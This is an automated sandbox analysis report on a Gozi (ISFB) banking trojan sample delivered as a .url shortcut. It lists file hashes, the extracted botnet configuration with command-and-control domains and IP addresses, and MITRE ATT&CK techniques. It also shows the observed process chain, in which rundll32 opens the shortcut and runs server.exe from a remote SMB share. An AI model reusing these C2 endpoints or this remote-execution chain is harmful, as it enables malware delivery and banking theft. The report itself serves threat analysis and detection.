gozi | 29547f7ced48000841e1ee6e5da03bcfb21722d9e60687356ab2d1e000733f21

Analysis

max time kernel
150s
max time network
157s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
08-03-2023 10:29

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General

Target

Direzione/Direzione.url
Size

191B
MD5

361301f6ad56d5f44ed70afcbf223df0
SHA1

1195b135d96ee1214531ba0c6146318f2524bea8
SHA256

2362e52e347d77a6b101b80057d9770e44a44599889385a83822625901631583
SHA512

394a2f7d97b7bd70e5827f0294deaee00a710fe931fad8a964ca6f694997de61a3dbd3f63e57a2f119733ea2150c5b1379a4f92b0d871f9714317cc67d9c8284

Score

10^/10

gozi 7711 banker isfb trojan

Malware Config

Extracted

Family

gozi

Botnet

7711

checklist.skype.com

62.173.138.6

89.117.37.146

46.8.210.82

89.116.227.15

31.41.44.51

Attributes

base_path
/drew/
build
250255
exe_type
loader
extension
.jlk
server_id
50

rsa_pubkey.plain

aes.plain

Extracted

Family

gozi

Signatures

Gozi
Gozi is a well-known and widely distributed banking trojan.
banker trojan gozi

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 368	4636	rundll32.exe	84
PID 4636 wrote to memory of 368	4636	rundll32.exe	84
PID 4636 wrote to memory of 368	4636	rundll32.exe	84

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\Direzione\Direzione.url
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4636
- \??\UNC\46.8.210.31\Agenzia\server.exe
  "\\46.8.210.31\Agenzia\server.exe"
  2⤵
  PID:368

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/368-134-0x0000000000510000-0x000000000051B000-memory.dmp

Filesize
44KB

Download
memory/368-135-0x0000000000530000-0x000000000053D000-memory.dmp

Filesize
52KB

Download
memory/368-138-0x0000000000400000-0x000000000044C000-memory.dmp

Filesize
304KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads